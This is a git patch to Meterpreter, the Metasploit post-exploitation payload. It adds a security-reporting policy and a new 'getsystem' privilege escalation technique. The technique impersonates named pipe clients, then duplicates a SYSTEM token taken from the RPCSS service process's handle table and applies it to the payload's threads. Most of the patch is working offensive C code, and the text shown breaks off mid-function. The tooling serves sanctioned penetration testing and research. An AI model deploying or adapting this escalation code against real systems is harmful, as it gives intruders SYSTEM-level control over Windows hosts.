From 8e3933bed7aa998b663f84ec6ac57256db3dd464 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sun, 11 Oct 2020 20:49:06 -0500 Subject: [PATCH] Revert "Undo commit for #441" This reverts commit 8361d5367a7400d166da3c8b772077aa9a0a793e, reversing changes made to db3d5f0896ac74b3918387be24de1e994451820d. --- .github/SECURITY.md | 35 ++ .../source/common/common_command_ids.h | 1 + .../source/extensions/priv/elevate.c | 10 + .../source/extensions/priv/elevate.h | 11 +- .../source/extensions/priv/namedpipe.c | 181 ++++---- .../source/extensions/priv/namedpipe.h | 11 +- .../source/extensions/priv/namedpipe_rpcss.c | 395 ++++++++++++++++++ .../source/extensions/priv/namedpipe_rpcss.h | 6 + .../source/metsrv/server_pivot_named_pipe.c | 24 +- .../ext_server_priv/ext_server_priv.vcxproj | 4 +- php/meterpreter/meterpreter.php | 4 +- python/meterpreter/meterpreter.py | 15 +- 12 files changed, 595 insertions(+), 102 deletions(-) create mode 100644 .github/SECURITY.md mode change 100644 => 100755 c/meterpreter/source/common/common_command_ids.h create mode 100755 c/meterpreter/source/extensions/priv/namedpipe_rpcss.c create mode 100755 c/meterpreter/source/extensions/priv/namedpipe_rpcss.h mode change 100644 => 100755 c/meterpreter/source/metsrv/server_pivot_named_pipe.c diff --git a/.github/SECURITY.md b/.github/SECURITY.md new file mode 100644 index 00000000..b280bfee --- /dev/null +++ b/.github/SECURITY.md @@ -0,0 +1,35 @@ +# Reporting security issues + +Thanks for your interest in making Meterpreter more secure! If you feel +that you have found a security issue involving Metasploit, Meterpreter, +Recog, or any other Rapid7 open source project, you are welcome to let +us know in the way that's most comfortable for you. + +## Via ZenDesk + +You can click on the big blue button at [Rapid7's Vulnerability +Disclosure][r7-vulns] page, which will get you to our general +vulnerability reporting system. While this does require a (free) ZenDesk +account to use, you'll get regular updates on your issue as our software +support teams work through it. As it happens [that page][r7-vulns] also +will tell you what to expect when it comes to reporting vulns, how fast +we'll fix and respond, and all the rest, so it's a pretty good read +regardless. + +## Via email + +If you're more of a traditionalist, you can email your finding to +security@rapid7.com. If you like, you can use our [PGP key][pgp] to +encrypt your messages, but we certainly don't mind cleartext reports +over email. + +## NOT via GitHub Issues + +Please don't! Disclosing security vulnerabilities to public bug trackers +is kind of mean, even when it's well-intentioned, since you end up +dropping 0-day on pretty much everyone right out of the gate. We'd prefer +you didn't! + +[r7-vulns]:https://www.rapid7.com/security/disclosure/ +[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda + diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h old mode 100644 new mode 100755 index af084ecd..4c4280a1 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -55,6 +55,7 @@ #define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31 #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33 +#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34 #define COMMAND_ID_STDAPI_FS_CHDIR 1001 #define COMMAND_ID_STDAPI_FS_CHMOD 1002 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003 diff --git a/c/meterpreter/source/extensions/priv/elevate.c b/c/meterpreter/source/extensions/priv/elevate.c index 4a7a9882..00382e0e 100644 --- a/c/meterpreter/source/extensions/priv/elevate.c +++ b/c/meterpreter/source/extensions/priv/elevate.c @@ -5,6 +5,7 @@ #include "precomp.h" #include "common_metapi.h" #include "namedpipe.h" +#include "namedpipe_rpcss.h" #include "tokendup.h" /*! @@ -105,6 +106,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet ) break; } } + + if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) { + dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS); + if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) { + dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS; + break; + } + } + } while( 0 ); if( response ) diff --git a/c/meterpreter/source/extensions/priv/elevate.h b/c/meterpreter/source/extensions/priv/elevate.h index 2f21a7e1..8cb05b2f 100644 --- a/c/meterpreter/source/extensions/priv/elevate.h +++ b/c/meterpreter/source/extensions/priv/elevate.h @@ -5,11 +5,12 @@ #ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H #define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H -#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful -#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted. -#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1) -#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2) -#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique. +#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful +#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted. +#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1) +#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2) +#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique. +#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant) typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h diff --git a/c/meterpreter/source/extensions/priv/namedpipe.c b/c/meterpreter/source/extensions/priv/namedpipe.c index 23d18886..e5d80f1b 100644 --- a/c/meterpreter/source/extensions/priv/namedpipe.c +++ b/c/meterpreter/source/extensions/priv/namedpipe.c @@ -3,42 +3,62 @@ #include "namedpipe.h" #include "service.h" +/* + * A post-impersonation callback that simply updates the meterpreter token to the + * current thread token. This is used by the standard service-based technique. + */ +DWORD post_callback_use_self(Remote * remote) +{ + HANDLE hToken = NULL; + + // get a handle to this threads token + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { + dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed"); + return GetLastError(); + } + + // now we can set the meterpreters thread token to that of our system + // token so all subsequent meterpreter threads will use this token. + met_api->thread.update_token(remote, hToken); + return ERROR_SUCCESS; +} + /* * Worker thread for named pipe impersonation. Creates a named pipe and impersonates * the first client which connects to it. */ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) { - DWORD dwResult = ERROR_ACCESS_DENIED; - HANDLE hServerPipe = NULL; - HANDLE hToken = NULL; - HANDLE hSem = NULL; - char * cpServicePipe = NULL; - Remote * remote = NULL; - BYTE bMessage[128] = {0}; - DWORD dwBytes = 0; + DWORD dwResult = ERROR_ACCESS_DENIED; + HANDLE hPipe = NULL; + HANDLE hSem = NULL; + char * cpPipeName = NULL; + BYTE bMessage[128] = {0}; + DWORD dwBytes = 0; + BOOL bImpersonated = FALSE; + PPRIV_POST_IMPERSONATION pPostImpersonation = NULL; do { if (!thread) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS); } - cpServicePipe = (char *)thread->parameter1; - remote = (Remote *)thread->parameter2; - hSem = (HANDLE)thread->parameter3; + cpPipeName = (char *)thread->parameter1; + hSem = (HANDLE)thread->parameter2; + pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3; - if (!cpServicePipe || !remote) { + if (!cpPipeName) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS); } - dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe); + dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName); // create the named pipe for the client service to connect to - hServerPipe = CreateNamedPipe(cpServicePipe, + hPipe = CreateNamedPipe(cpPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); - if (!hServerPipe) { + if (!hPipe) { BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed"); } @@ -48,55 +68,55 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) ERROR_DBG_TERMINATE_THREAD); } - //signal the client that the pipe is ready - if (hSem) { - if (!ReleaseSemaphore(hSem, 1, NULL)) { - BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed", + // signal the client that the pipe is ready + if (hSem) { + if (!ReleaseSemaphore(hSem, 1, NULL)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed", ERROR_DBG_TERMINATE_THREAD); } } // wait for a client to connect to our named pipe... - if (!ConnectNamedPipe(hServerPipe, NULL)) { + if (!ConnectNamedPipe(hPipe, NULL)) { if (GetLastError() != ERROR_PIPE_CONNECTED) continue; } - dprintf("[ELEVATE] pipethread. got client conn."); + dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection"); - // we can't impersonate a client untill we have performed a read on the pipe... - if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) { + // we can't impersonate a client until we have performed a read on the pipe... + if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) { + DisconnectNamedPipe(hPipe); CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed"); } // impersonate the client! - if (!ImpersonateNamedPipeClient(hServerPipe)) { + bImpersonated = ImpersonateNamedPipeClient(hPipe); + DisconnectNamedPipe(hPipe); + if (!bImpersonated) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed"); } - // get a handle to this threads token - if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { - CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed"); + if (pPostImpersonation) { + dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback"); + dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam); + if (dwResult != ERROR_SUCCESS) { + RevertToSelf(); + BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed"); + } + } + else { + dwResult = ERROR_SUCCESS; } - - // now we can set the meterpreters thread token to that of our system - // token so all subsequent meterpreter threads will use this token. - met_api->thread.update_token(remote, hToken); - - dwResult = ERROR_SUCCESS; - break; } - } while (0); - if (hServerPipe) { - DisconnectNamedPipe(hServerPipe); - CLOSE_HANDLE(hServerPipe); + if (hPipe) { + CLOSE_HANDLE(hPipe); } dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult); - return dwResult; } @@ -109,13 +129,14 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) */ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) { - DWORD dwResult = ERROR_SUCCESS; - char * cpServiceName = NULL; - THREAD * pThread = NULL; - HANDLE hSem = NULL; - char cServiceArgs[MAX_PATH] = {0}; - char cServicePipe[MAX_PATH] = {0}; - OSVERSIONINFO os = {0}; + DWORD dwResult = ERROR_SUCCESS; + char * cpServiceName = NULL; + THREAD * pThread = NULL; + HANDLE hSem = NULL; + char cServiceArgs[MAX_PATH] = {0}; + char cServicePipe[MAX_PATH] = {0}; + OSVERSIONINFO os = {0}; + PRIV_POST_IMPERSONATION PostImpersonation; do { os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @@ -126,7 +147,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) // filter out Windows NT4 if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) { - SetLastError(ERROR_ACCESS_DENIED); + SetLastError(ERROR_CALL_NOT_IMPLEMENTED); BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } @@ -143,7 +164,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + PostImpersonation.pCallback = post_callback_use_self; + PostImpersonation.pCallbackParam = remote; + + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed", ERROR_INVALID_HANDLE); @@ -154,24 +178,24 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) ERROR_ACCESS_DENIED); } - //wait for the thread to create the pipe(if it times out terminate) - if (hSem) { - if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", + // wait for the thread to create the pipe, if it times out terminate + if (hSem) { + if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", ERROR_ACCESS_DENIED); } - } else { - Sleep(500); + } else { + Sleep(500); } - // start the elevator service (if it doesnt start first time we need to create it and then start it). + // start the elevator service (if it doesn't start first time we need to create it and then start it). if (service_start(cpServiceName) != ERROR_SUCCESS) { dprintf("[ELEVATE] service starting failed, attempting to create"); if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed"); } dprintf("[ELEVATE] creation of service succeeded, attempting to start"); - // we dont check a return value for service_start as we expect it to fail as cmd.exe is not + // we don't check a return value for service_start as we expect it to fail as cmd.exe is not // a valid service and it will never signal to the service manager that is is a running service. service_start(cpServiceName); } @@ -216,20 +240,21 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) */ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) { - DWORD dwResult = ERROR_SUCCESS; - THREAD * pThread = NULL; - HANDLE hServiceFile = NULL; - HANDLE hSem = NULL; - LPVOID lpServiceBuffer = NULL; - char * cpServiceName = NULL; - THREAD * pthread = NULL; - char cServicePath[MAX_PATH] = {0}; - char cServiceArgs[MAX_PATH] = {0}; - char cServicePipe[MAX_PATH] = {0}; - char cTempPath[MAX_PATH] = {0}; - DWORD dwBytes = 0; - DWORD dwTotal = 0; - DWORD dwServiceLength = 0; + DWORD dwResult = ERROR_SUCCESS; + THREAD * pThread = NULL; + HANDLE hServiceFile = NULL; + HANDLE hSem = NULL; + LPVOID lpServiceBuffer = NULL; + char * cpServiceName = NULL; + THREAD * pthread = NULL; + char cServicePath[MAX_PATH] = {0}; + char cServiceArgs[MAX_PATH] = {0}; + char cServicePipe[MAX_PATH] = {0}; + char cTempPath[MAX_PATH] = {0}; + DWORD dwBytes = 0; + DWORD dwTotal = 0; + DWORD dwServiceLength = 0; + PRIV_POST_IMPERSONATION PostImpersonation; do { @@ -279,7 +304,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } hSem = CreateSemaphore(NULL, 0, 1, NULL); - pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); + PostImpersonation.pCallback = post_callback_use_self; + PostImpersonation.pCallbackParam = remote; + + pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed", ERROR_INVALID_HANDLE); @@ -291,12 +319,13 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet) } //wait for the thread to create the pipe(if it times out terminate) - if (hSem) { - if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) - BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed", + if (hSem) { + if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed", ERROR_ACCESS_DENIED); - } else { - Sleep(500); + } + } else { + Sleep(500); } // start the elevator service (if it doesnt start first time we need to create it and then start it). diff --git a/c/meterpreter/source/extensions/priv/namedpipe.h b/c/meterpreter/source/extensions/priv/namedpipe.h index 16daf549..58806763 100644 --- a/c/meterpreter/source/extensions/priv/namedpipe.h +++ b/c/meterpreter/source/extensions/priv/namedpipe.h @@ -1,7 +1,14 @@ #ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H #define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H -DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet ); -DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet ); +typedef DWORD(*PostImpersonationCallback)(LPVOID); +DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread); +DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet); +DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet); + +typedef struct _PRIV_POST_IMPERSONATION { + PostImpersonationCallback pCallback; + PVOID pCallbackParam; +} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION; #endif diff --git a/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c new file mode 100755 index 00000000..2950d908 --- /dev/null +++ b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c @@ -0,0 +1,395 @@ +#include +#include "precomp.h" +#include "common_metapi.h" +#include "namedpipe.h" +#include "service.h" + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 +typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); +typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); +typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW); + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation = 0, + ObjectTypeInformation = 2 +} OBJECT_INFORMATION_CLASS; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation = 0, + ProcessHandleInformation = 51, +} PROCESSINFOCLASS; + +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ACCESS_MASK GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + _UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; + +/* + * Compare two LUID values and return true if they are the same. + */ +BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) { + return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart)); +} + +/* + * Get the object type index for token objects. The index changes between versions and using it + * simplifies the searching process. + */ +DWORD get_token_object_index(PULONG TokenIndex) +{ + HANDLE hToken = NULL; + NTSTATUS status; + HMODULE hNtdll = NULL; + NTQUERYOBJECT pNtQueryObject = NULL; + DWORD dwResult = ERROR_UNIDENTIFIED_ERROR; + POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL; + ULONG ulLength = 0; + + do { + if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) { + BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed"); + } + + hNtdll = GetModuleHandle("ntdll"); + if (hNtdll == NULL) { + BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed"); + } + + pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject")); + if (pNtQueryObject == NULL) { + BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed"); + } + + status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength); + if (NT_SUCCESS(status)) { + BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status)); + } + + pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength); + if (pObjTypeInfo == NULL) { + BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY); + } + + status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL); + if (!NT_SUCCESS(status)) { + BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status)); + } + + *TokenIndex = pObjTypeInfo->TypeIndex; + dwResult = ERROR_SUCCESS; + } while (0); + + if (pObjTypeInfo) { + HeapFree(GetProcessHeap(), 0, pObjTypeInfo); + } + if (hToken) { + CloseHandle(hToken); + } + return dwResult; +} + +DWORD get_system_token(HANDLE hProc, PHANDLE phToken) +{ + NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;; + PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL; + ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION); + ULONG tokenIndex; + ULONG i; + ULONG ulMaxPrivCount = 0; + HANDLE hToken = NULL; + HANDLE hBestToken = NULL; + HANDLE hThread = GetCurrentThread(); + DWORD dwResult = ERROR_UNIDENTIFIED_ERROR; + TOKEN_STATISTICS tokenStats; + LUID systemLuid = SYSTEM_LUID; + HMODULE hNtdll = NULL; + NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL; + + do { + if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) { + BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR); + } + + hNtdll = GetModuleHandle("ntdll"); + if (hNtdll == NULL) { + BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed"); + } + + pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess")); + if (pNtQueryInformationProcess == NULL) { + BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed"); + } + + do { + ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16); + if (pHandleInfo) { + HeapFree(GetProcessHeap(), 0, pHandleInfo); + pHandleInfo = NULL; + } + pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength); + if (pHandleInfo == NULL) { + BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY); + } + + status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength); + if (NT_SUCCESS(status)) { + break; + } + if (status == STATUS_INFO_LENGTH_MISMATCH) { + continue; + } + dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status); + BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status); + } while (status == STATUS_INFO_LENGTH_MISMATCH); + + if (!NT_SUCCESS(status)) { + BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR); + } + + for (i = 0; i < pHandleInfo->NumberOfHandles; i++) { + if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) { + continue; + } + + if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) { + continue; + } + + if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) { + CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed"); + } + + if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) { + CloseHandle(hToken); + CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed"); + } + + if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) { + CloseHandle(hToken); + continue; + } + + if (tokenStats.PrivilegeCount <= ulMaxPrivCount) { + CloseHandle(hToken); + continue; + } + + // newer versions of windows have more defined privileges so update the best token to the one with the most + ulMaxPrivCount = tokenStats.PrivilegeCount; + if (hBestToken) { + CloseHandle(hBestToken); + } + hBestToken = hToken; + } + } while (0); + + if (hBestToken) { + *phToken = hBestToken; + dwResult = ERROR_SUCCESS; + } + if (pHandleInfo) { + HeapFree(GetProcessHeap(), 0, pHandleInfo); + } + return dwResult; +} + +DWORD post_callback_use_rpcss(Remote* remote) +{ + SC_HANDLE hScm = NULL; + SC_HANDLE hSvc = NULL; + HANDLE hProc = NULL; + HANDLE hThread = GetCurrentThread(); + SERVICE_STATUS_PROCESS procInfo; + DWORD dwBytes; + DWORD dwResult = ERROR_ACCESS_DENIED; + HANDLE hToken = NULL; + + do { + hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (hScm == NULL) { + BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed"); + } + + hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS); + if (hSvc == NULL) { + BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed"); + } + + if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) { + BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed"); + } + + hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId); + if (hProc == NULL) { + BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed"); + } + + if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) { + BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR); + } + + if (!SetThreadToken(&hThread, hToken)) { + CloseHandle(hToken); + BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED); + } + + dwResult = ERROR_SUCCESS; + dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self"); + met_api->thread.update_token(remote, hToken); + return ERROR_SUCCESS; + } while (0); + + if (hProc) { + CloseHandle(hProc); + hProc = NULL; + } + + if (hSvc) { + CloseServiceHandle(hSvc); + hSvc = NULL; + } + + if (hScm) { + CloseServiceHandle(hScm); + hScm = NULL; + } + return dwResult; +} + +DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + THREAD* pThread = NULL; + HANDLE hSem = NULL; + char cPipeName1[MAX_PATH] = { 0 }; + char cPipeName2[MAX_PATH] = { 0 }; + HMODULE hNtdll = NULL; + OSVERSIONINFOEXW os = { 0 }; + HANDLE hPipe = NULL; + DWORD dwPipeUid[2] = { 0, 0 }; + PRIV_POST_IMPERSONATION PostImpersonation; + PRtlGetVersion pRtlGetVersion = NULL; + + do { + hNtdll = GetModuleHandleA("ntdll"); + if (hNtdll == NULL) { + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: 